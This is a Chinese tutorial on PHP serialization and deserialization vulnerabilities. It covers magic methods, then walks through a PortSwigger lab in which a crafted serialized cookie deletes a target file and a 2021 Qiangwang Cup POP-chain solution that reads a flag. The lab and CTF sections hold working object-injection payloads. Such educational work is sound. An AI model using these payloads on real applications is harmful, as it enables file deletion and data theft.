PHP反序列化漏洞解析

news2025/8/7 14:40:27

序列化

所谓序列化就是将原数据对象转换为具有一定格式的数据

举一个最简单的例子,在C中,若要开发一个数据库,那么一定涉及到数据的存储,要将内存中的数据持久化的保存在磁盘中,这就要对数据的存储格式进行优化,比如使用结构体保存一个数据对象,结构体是存在默认对齐机制的,所以实际上结构体的大小会大于其中实际数据的大小,如果直接将结构体对象写在内存一定会造成内存空间的泄露,因此为了优化,可以将结构体存储的每个数据memcpy出,并紧凑排列并写入内存,这就是最简单的一种序列化。

所以实际上序列化就是将数据按照更易存储、传输等,改变其原有格式进行保存的一种方式,上面所说的只是最简单的一种序列化方式,实际上还可以在其序列化后的数据中加上对数据的描述控制信息(比如说长度等),方便后期更快的还原出原数据。

也许有人会认为加上描述控制信息会让新数据的内容相对于原数据更加冗杂,但这是不影响的,因为描述控制信息的添加是在序列化的过程中所添加,而序列化的目的是方便与更快的存储与传输等而服务的,二者并不处于同一阶段。控制信息的添加也确实可以加快存储、传输过程中对数据的识别等过程。

【一一帮助安全学习一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

PHP 序列化/反序列化

数据转换

将 对象Object、字符串String、数组Array、变量 转换为具有一定格式的字符串(其中不会保留函数方法),方便保持稳定的格式在文件中传输。

相关函数:

string serialize ( mixed $value )

由返回值确认其返回字符串,该字符串中包含了表示value的字节流,可存储与任何地方。( 统一格式,易于存储

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
			public $domain = array("shtwo.top","www.shtwo.top");

	    public function say_hello() 
			{
	        echo "hello";
	    }
	}

	$class = new Deu();
	$serClass = serialize($class);
	print_r($serClass);
?>

对上述的Deu对象进行序列化,并观察其序列化后的结果。

O:3:"Deu":4:{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}

为了方便理解该字符串的含义,将其分为两大部分

数据对象类型:数据名称长度:数据名称:对象个数O:3:"Deu":4
其中每一个对象的结构(以;分割) **数据类型:数据名称长度(可选):数据名称

{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}
s:4:"name";s:6:"Deutsh"
s:4:"name"
s:6:"Deutsh"
 s:8:"Deuage";i:66
s:8:"Deuage"
i:66
s:6:"*sex";s:4:"male"
s:6:"*sex"
s:4:"male"
s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}
s:6:"domain"
a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}

序列化的各种结构

根据数据类型的不同,其序列化后的字符串有以下几种情况。

类型结构
Strings:size:value;
Integeri:value;
Booleanb:value; (保存1或0)
NullN;
Arraya:size:{key definition;value definition;(repeated per element)}
ObjectO:strlen(object name):object name:object size:{…}

访问控制符不同对序列化后结构的影响

  • public

    序列化后没有变化

  • protected

    序列化后会变成%00*%00属性名

    eg:s:6:"*sex";s:4:"male"

    注意其中的长度,长度 =6,但后面字符串中只有4个字符,所以0是被省略掉的

    但是在拿着该序列化后的字符串去提交,反序列化的时候是要带上0的,否则会出错

  • private

    序列化后会变成%00类名%00属性名

    eg:s:8:"Deuage";i:66

    同上

反序列化

image.png

相关函数

unserialize ( string $str ):mixed

示例代码

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
		  public $domain = array("shtwo.top","www.shtwo.top");
	    public function say_hello() {
	        echo "hello";
	    }
	}
	$class = new Deu();

	$class_ser = serialize($class);
	print_r($class_ser);

	$class_unser = unserialize($class_ser);

	echo "</br>";
	print_r($class_unser);

	echo "</br>";
	var_dump($class_unser);

?>

魔法方法

PHP中常见的魔法方法

构造函数/析构函数

C++中的 构造函数 与 析构函数 基本一致,PHP也提供构造函数与析构函数

构造函数

__construct ( mixed ...$values = "" ):void

类中会默认存在一个没有参数列表并且内容为空的构造函数。如果显式地声明构造函数则类中的默认构造方法将不会存在,并且在实例化对象时调用该方法。

析构函数

__destruct ( ):void

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

示例代码

<?php
	class TestClass
	{
	    public function __construct() {
	        echo "calling __construct()";
	    }
	    public function __destruct() {
	        echo "calling __destruct()";
	    }
	}
	$class = new TestClass();

	echo "</br>";

?>

image.png

可以看到在实例化对象时,调用了构造函数,并在结束的时候调用了析构函数销毁了该实例( 注意输出结果已经换行了,说明是在最后结束的时候调用了析构函数 )。

__sleep()和 __wakeup()

__sleep()

public __sleep():array

当调用 serialize()函数序列化一个实例时,会首先检查该实例是否存在 __sleep()方法,如果该方法存在,则该方法会先被调用,然后才执行序列化操作。否则使用默认的序列化方式。

此功能可以用于清理对象,并**返回一个包含对象中所有应被序列化的变量名称的数组,**如果该方法未返回任何内容,则 **null**被序列化,并产生一个 **E_NOTICE**级别的错误。

__wakeup()

public __wakeup():void

与之相反,unserialize()会检查是否存在一个 __wakeup()方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。

示例代码

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
		public $domain = array("shtwo.top","www.shtwo.top");
	    public function say_hello() {
	        echo "hello";
	    }

	    public function __sleep() {
	        echo "calling __sleep";
	        echo "</br>";
	        return array('name', 'age', 'sex','domain');
	    }   
	    public function __wakeup() {
	        echo "calling __wakeup";
	        echo "</br>";
	    }
	}
	$class = new Deu();
	$class_ser = serialize($class);
	print_r($class_ser);
	echo "</br>";
	$class_unser = unserialize($class_ser);
	print_r($class_unser);
?>

image.png

__toString()

public __toString():string

__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么

从 PHP 8.0.0 起,返回值遵循标准的 PHP 类型语义, 这意味着如果禁用 严格类型,它将会强制转换为字符串。

示例代码

<?php

	class Deu
	{
	    public $name;

	    public function __construct($name) 
	    {
	        $this->name = $name;
	    }

	    public function __toString() 
			{
	        return $this->name;
	    }
	}

	$admin = new Deu('The admin of this website is Deutsh');

	echo $admin;

?>

image.png

__invoke()

类似于C++中的仿函数,但实现机制不同。

__invoke( ...$values):mixed

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

示例代码

<?php
	class Func 
	{
	    function __invoke($x,$y) 
	    {
	        return $x * $y;
	    }
	}
	$obj = new Func;

	$result = $obj(2,3);

	print $result;

?>

image.png

属性重载

public __set(string $name,mixed &value):void

public __get(string $name):mixed

public __isset(string $name):bool

public __unset(string $name):void

读取不可访问(protectedprivate)或不存在的属性的值时,__get()会被调用

在给不可访问(protectedprivate)或不存在的属性赋值时,__set()会被调用

当对不可访问(protectedprivate)或不存在的属性调用 isset()或 empty()时,__isset()会被调用

当对不可访问(protectedprivate)或不存在的属性调用 unset()时,__unset()会被调用

示例代码

<?php
	Class User{
	    private $id = '0';
	    public $name = 'admin';

	    function __get($id)
	    {	
	    	echo "You are no Permmison to get admin's id-----";
	        echo" calling __get() "."</br>";
	    }
	    function __set($id, $value)
	    {

	    	echo "You are no Permmison to change admin's id-----";
	        echo " calling __set() "."</br>";
	    }
	    function __isset($id)
	    {
	        echo "calling __isset()"."</br>";
	    }
	    function __unset($id)
	    {
	        echo "calling __isset()"."</br>";
	    }
	}

	$obj = new User();

	$obj->id;
	print $obj->name;

	echo '</br>';

	$obj->id = 1;  
	$obj->name = Deu;
	print $obj->name;

	echo '</br>';

	isset($obj->id);        
	unset($obj->id);        
?>

image.png

PHP 反序列化漏洞

反序列化漏洞最根本的成因在于 反序列化函数unserialize()的参数是可控的:也就是说可以传入我们特殊构造的一个序列化后的对象。

但若仅有这一点是很难形成攻击的,这时我们想到了魔法函数的调用一般都是由某些事件发生所自动触发的,所以自动联想出 可控的参数再配合上PHP特殊的魔法方法 也许就可以形成攻击,这也就是一个最基本的反序列化漏洞的利用。

魔法函数的利用

在上面介绍的魔法函数中,先着重看这俩用的面比较广的:

  • __destruct()
  • __weakup()

为什么这两个魔法函数出现概率高:因为其被调用的面广,类的销毁会调用__destruct()反序列化函数unserialize()调用时会先调用__weakup()。(若其存在)

主体的利用思路很简单:**根据魔法函数中提供的功能构造合适的反序列化对象,在对象的销毁或反序列化时,调用了魔法函数并传入我们构造的恶意参数造成攻击,**这里以Burp中的 靶场为例。

Lab: Arbitrary object injection in PHP

实验地址:Lab: Arbitrary object injection in PHP | Web Security Academy
image.png

题目:

该实验室使用基于序列化的会话机制,因此容易受到任意对象注入的影响。为了解决实验室问题,创建并注入恶意序列化对象将morale.txtCarlos的家目录中删除文件。您需要获得源代码访问权限才能解决此实验。您可以使用以下凭据登录到您自己的帐户:wiener:peter

确认存在序列化

首先根据提供的账户,登录到用户的界面,之后开启 Burp 进行抓包,并随便点一个功能,比如点击My-Account得到的数据包为:
image.png

通过对其Cookie中的session字段解Base64编码,可以发现Cookie传递的是一个序列化的PHP类对象

此时我们可以确认该网站使用序列化的对象传递用户身份数据(传递什么不是重点),那么如上所述,下一步的目的就是找到可以利用的 魔术方法,这也是最难的一步。

寻找可利用的魔术方法

首先打开Burp``Target模块中的Site map看看整个过程中出现过哪些文件,在libs中,看到了一个CustomTemplate.php文件,很不错!!!该文件很可能存在着某些魔术函数

之后点到他后,发现文件查看不了,遂将该请求报文发至Repeater做进一步的处理。
image.png

直接发送请求,发现服务端只返回了200成功的状态码,但并不允许请求该文件的内容。
image.png

此时陷入瓶颈,该如何请求该文件就是一个很重要的问题,在此之前先说一个题外知识。

文件扩展名末尾的波浪号~的含义

由于这是解决本题的一个既关键(涉及到如何请求到CustomTemplate.php)又不怎么关键(知道怎么做即可,貌似无需理解其含义)的点,所以还是拿出来单独说一说。

在一个文件名的末尾(Linux中是不分后缀的)添加 ~ ,是一种约定,这种约定起源于emacs编辑器,后来也被joe``vim``Gedit编辑器所采用,通常用于在编辑文件之前通过在原文件尾附加~来创建一个该文件的备份备份,方便搞砸了以后进行恢复。

例如 使用命令cp xxxxx{,~}

image.png

至于为什么选择~作为备份文件的后缀~是编号最高的可打印ASCII字符,所以在ls查看时,会备份文件排序在原始字符之后(传统的ASCII排序)。

所以根据上述介绍,我们就可以尝试在CustomTemplate.php末尾附加~去请求其备份文件,看看是否存在,具体来收就是请求CustomTemplate.php~文件。
image.png

很幸运,存在备份文件,顺利过渡到下一步。

CustomTemplate.php寻找利用途径

通过观察代码得出以下信息:

  • 通过__construct()可以看出该类在初始化实例对象时需要一个参数,会传递给其私有变量$template_file_path之后又会赋给私有变量$lock_file_path

    public function __construct($template_file_path) 
    {
    	     $this->template_file_path = $template_file_path;
    	     $this->lock_file_path = $template_file_path . ".lock";
    }
    
    

明晰了上述关系后,需要重点关注的是__destruct()函数。

function __destruct() 
{
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) 
				{
            unlink($this->lock_file_path);
        }
}

在此看到了所需要的unlink()功能用于 “删除” 题目所指示的文件

而该析构函数所删除的文件正式在构造函数中传入参数的路径下的文件,所以只需要构造一个包含要删除路径的序列化对象即可完成该功能。

构造特殊的序列化包

由于要手动构造序列化后的包要计算每个字段的长度(参考之前对序列化后数据结构的介绍),所以此处借助一个网站来实现序列化包的构造。

PHP Serialized Editor - Online Visual Editor for Serialized Data

若不借助该网站,要手动完成构造,可以用wc来统计字符串中字符的数量(注意特殊格式)

此处以用户传递的session中的序列化后的包的格式来构造新的包(原用户包的内容见上面截图)

这里要说明一个问题:前面说到,最终要传递的参数是$lock_file_path的一个路径值,也就是题目中给出的/home/Carlos/morale.txt(若不知道这个目录是如何得出的记得仔细回看一下题目),那么按理说,应该构造一个只包含该路径的CustomTemplate序列化对象,例如:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

这个构造也是正确的!

但这里尝试另一种方式,由于使用的上述工具,免得麻烦,所以直接在之前session传递的那串序列化为基础进行了构造。

O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/Carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/Carlos/morale.txt";}

这串构造看起来有很多没必要的字段,但可以过,所以姑且就用这种了。
image.png

攻击成功

同样开启Burp并随便点击一个选项进行抓包,比如说My-Account,之后将其中Cookie:session=后面的内容替换为我们的这一串序列化字符 ,记得在Burp右下角的Decode from中进行替换,并进行Base64编码,当然也可以到Decoder中编码后直接复制来。
image.png
image.png

成功删除目标文件!
image.png

PHP 反序列化 POP 链

POP又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程ROP``(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的。

这里以 2021强网杯中的 反序列化题为例。

2021强网杯-赌徒

源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct()
		{
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello()
		{
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
		{
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc)
		{
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct()
		{
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString()
		{
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='./flag';
    public $sth_to_set;
    public $a='';

    public function __get($name)
		{
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file)
		{
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke()
		{
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $hi = new  Start();
}

?>

分析

  • 题目中提示需要读取到flag文件,所以拿来源码首先找其中具有读取功能的函数,确认其存在于Room::Get_hint()

    所以接下来再向外看,寻找Room类中有没有魔法方法调用了Get_hint()

  • 很幸运在Room::__invoke()中调用了Room::Get_hint()

    回想__invoke()魔法方法被调用的契机是 尝试以调用函数的方式调用一个对象时

    所以接下来需要再来寻找有没有将该类当作函数调用的位置

  • 同样是在Room类中,看到_get()魔法方法中出现了啊将该类作为函数调用的情况

    只要将a赋为Room的一个实例即可

    回想_get()该属性重载函数被调用的契机是 读取不可访问(protectedprivate)或不存在的属性的值时

    如果file['filename']是个实例化的Room类,就会触发Room__get()

    所以接下来接着寻找有没有类中的函数访问不了不可访问或不存在的属性值

  • 又很幸运Info::__toString()魔法函数中调用了一个不存在的属性

    回想 调用__toString()的契机是 一个类被当成字符串使用时

    所以接下来接着寻找一个函数,该函数的返回值是一个字符串即可

  • 终于在Start::_sayhello()函数中看到了echo只要将echo后面的数据换为一个类,就是将一个类当成字符串使用,按照之前思路再找有没有哪个魔法函数调用了该函数,找到了Start::__weakup()

至此找到了一系列调用所需的源头Start::__weakup(),之后的构造则应该是正好相反的结构

  • 通过Start::_sayhello()将其中的this→name赋为class Info

  • 执行Start::_sayhello()触发Info中的__toString()

  • Info::__toString()中的$this->file['filename']赋值为class Room的一个对象

    写的更形象点就是:$this->file['filename'] = new Room由于Room中是不存在ffiillee['ffiilleennaammee']属性的,所以会调用_get()

  • 执行Info::__toString()调用Room::_get()

  • Room类中的a赋值程对象,即可存在以函数调用调用类的情况,则最调用Room::__invoke()

  • 最终调用Get_hint()方法拿到base64后的flag

构造

<?php
	$a = new Start();
	$a->name = new Info();
	$a->name->file["filename"] = new Room();
	$a->name->file["filename"]->a = new Room();
	echo "<br>";
	echo serialize($a);
?>

得到。

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

但当把以上结果直接放入 URL 传递是不可以的,因为其中有一个 private 权限的,需要前后加%00

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/15550.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]java毕业设计企业信息网站

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

网关及其分类

1. 介绍 大家都知道&#xff0c;从一个房间走到另一个房间&#xff0c;必然要经过一扇门。同样&#xff0c;从一个网络向另一个网络发送信息&#xff0c;也必须经过一道“关口”&#xff0c;这道关口就是网关。顾名思义&#xff0c;网关(Gateway)就是一个网络连接到另一个网络的…

深度探究多线程的效率以及多线程的使用建议

随着时代发展&#xff0c;电脑的核心数慢慢增多&#xff0c;在开发程序的过程中&#xff0c;是否选择使用多线程这是个比较大的问题&#xff0c;下面我通过一个程序去深入理解多线程对程序速度的影响到底有多大 计算亿级别个数的累加和&#xff1a; 单线程模型运行程序&#…

SNMP(二)

♥️作者&#xff1a;小刘在C站 ♥️每天分享云计算网络运维课堂笔记&#xff0c;一起努力&#xff0c;共赴美好人生&#xff01; ♥️夕阳下&#xff0c;是最美的&#xff0c;绽放。 目录 一.SNMP是什么 二.SolarWinds 网管软件使用 步骤1 步骤2 步骤3 步骤4 三.SNMP命令…

使用go pprof进行golang程序内存分析

引言 日常项目&#xff0c;有时会出现oom的情况&#xff0c;这时候我们光依靠code review进行问题定位是很困难的。这里我们需要一个排查工具&#xff0c;来定位是哪里的代码导致内存溢出的&#xff0c;这个工具就是pprof前提 如果是非http(s)服务类的&#xff0c;需要在代码…

基于PHP+MySQL的宠物领养救助社交网站

当前很多的宠物被抛弃和虐杀,它们没有选择权,我们强制性的把狗带进人类的生活中,然后又无情的抛弃,让它们无家可归,变成流浪狗,它们做错了什么&#xff1f;流浪动物被主人遗弃之后居无定所,时刻面对着严寒、酷暑、生病、死亡,饥饿、等一系列威胁它们生命的存在为了能够让这些。…

BlenderGIS插件 城市建筑3D模型自动生成 教程

目录 一、下载Blender和BlenderGIS 二、解决 No imaging library...报错 三、生成城市3D模型 四、导出模型 本文所需文件可在如下链接下载&#xff0c;或者直接按照博文下载步骤下载 https://download.csdn.net/download/ChaoChao66666/87071901?spm1001.2014.3001.550…

Node的Web编程

一、node的事件处理 1、node采用的事件驱动模式来进行事件处理的&#xff1a;只有当事件被触发时才执行相关程序 2、node是单线程运行的&#xff1a;采用事件轮询方式&#xff0c;不断的查询事件队列中的消息&#xff0c;然后根据消息执行对应的回调函数 3、node事件机制中的…

ASEMI代理艾赛斯DSP25-12A,整流二极管DSP25-12A

编辑-Z 艾赛斯整流二极管DSP25-12A参数&#xff1a; 型号&#xff1a;DSP25-12A 最大重复反向阻断电压&#xff08;VRRM&#xff09;&#xff1a;1200V 反向电流、漏极电流&#xff08;IR&#xff09;&#xff1a;40uA 正向电压降&#xff08;VF&#xff09;&#xff1a;1…

this用法总结

文章目录1.常规下this的指向1.1 全局环境中的this1.2 上下文对象调用中的this1.3 this指向绑定事件的元素1.4 箭头函数的this指向2. 改变this指向2.1 call - Function.prototype.call( )2.1.1 call的第一个参数2.1.2 call接受多个参数2.1.3 调用对象的原生方法2.2 apply - Func…

LFMCW雷达测速基础- 多普勒频移和2DFFT

LFMCW雷达测速基础1 基本测速原理——多普勒频移1.0 写在前面1.1 多普勒效应1.2 多普勒频移疑问2 LFMCW雷达测速原理2.1 Doppler Shift 到底是调频还是调相2.2 为什么是二维FFT1 基本测速原理——多普勒频移 1.0 写在前面 振动/波在空间中传播有三个关键变量&#xff0c;分别…

iNFTnews|Web3正在重新定义粉丝的意义

数字身份正在发展&#xff0c;粉丝圈本身也在发展。Web3技术使粉丝们能够以一种更加人际化的方式与同好、媒体、内容创作者甚至他们崇拜的名人进行互动&#xff0c;粉丝和创作者都可以获得更人性化的体验。另外&#xff0c;一些激励措施还有望从根本上改变我们对名人概念本身的…

Java#14(StringJoiner)

目录 一.StringJoiner的构造方法和成员方法 StringJoiner是jdk8才出现的 作用:可以高效和方便的拼接字符串 1.StringJoiner的构造方法 2.StringJoiner的成员方法 一.StringJoiner的构造方法和成员方法 StringJoiner是jdk8才出现的 作用:可以高效和方便的拼接字符串 1.Stri…

一篇文章入门单链表+刷题实践【java实现+详细注释】

文章目录节点定义链表类获取链表长度清空链表添加节点到链表尾部根据id来删除节点根据id来查询节点修改相同id的节点信息打印链表逆序打印反转链表测试代码打印信息习题反转链表删除链表的节点删除链表的倒数第k个节点节点定义 关于节点里面所存储的信息&#xff0c;需要什么就…

洛谷 P1064 - 金明的预算方案(分组背包)

题目描述 金明今天很开心&#xff0c;家里购置的新房就要领钥匙了&#xff0c;新房里有一间金明自己专用的很宽敞的房间。更让他高兴的是&#xff0c;妈妈昨天对他说&#xff1a;“你的房间需要购买哪些物品&#xff0c;怎么布置&#xff0c;你说了算&#xff0c;只要不超过 n…

HTML学生个人网站作业设计:(宠物官网8页)——bootstarp响应式含有轮播图,响应式页面

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 公司官网网站 | 企业官网 | 酒店官网 | 等网站的设计与制 | HTML期末大学生网页设计作业&#xff0c;Web大学生网页 HTML&#xff1a;结构 CSS&#…

H7-TOOL发布V2.19,脱机烧录新增中微半导体、广芯微电子、中移芯昇以及极海和灵动新系列,增加PWM发生器等功能(2022-11-17)

H7-TOOL详细介绍&#xff1a;H7-TOOL开发工具&#xff0c;1拖4/16脱机烧录&#xff0c;高速DAPLINK&#xff0c;RTOS Trace&#xff0c;CAN/串口助手, 示波器, RTT等&#xff0c;支持WiFi&#xff0c;以太网&#xff0c;高速USB和手持 - H7-TOOL开发工具 - 硬汉嵌入式论坛 - Po…

JavaScript对象与内置对象

JavaScript对象与内置对象 文章目录JavaScript对象与内置对象1.JavaScript的基本对象1.1 创建对象1.2 对象的调用1.3 构造函数和对象1.4 变量对象属性2.JavaScript的内置对象2.1 内置对象概念3.JavaScript的Math对象3.1 Math对象概念3.2 Math绝对值和三个取整方法3.3 随机数方法…

AndroidStudio 导入项目模块失败

平台 Ubuntu 20.04AndroidStudio Android Studio Dolphin | 2021.3.1 Patch 1 Build #AI-213.7172.25.2113.9123335, built on September 30, 2022 Runtime version: 11.0.130-b1751.21-8125866 amd64 VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o. Linux 5.15.0-53-gen…

Structure-Aware Transformer for Graph Representation Learning

Structure-Aware Transformer for Graph Representation Learning 在图表示学习中&#xff0c;Transformer结构通过位置编码对图形结构进行编码&#xff0c;克服了GNN的几个局限性&#xff0c;但其使用位置编码生成的节点表示不一定能捕获他们之间的结构相似性&#xff0c;所以…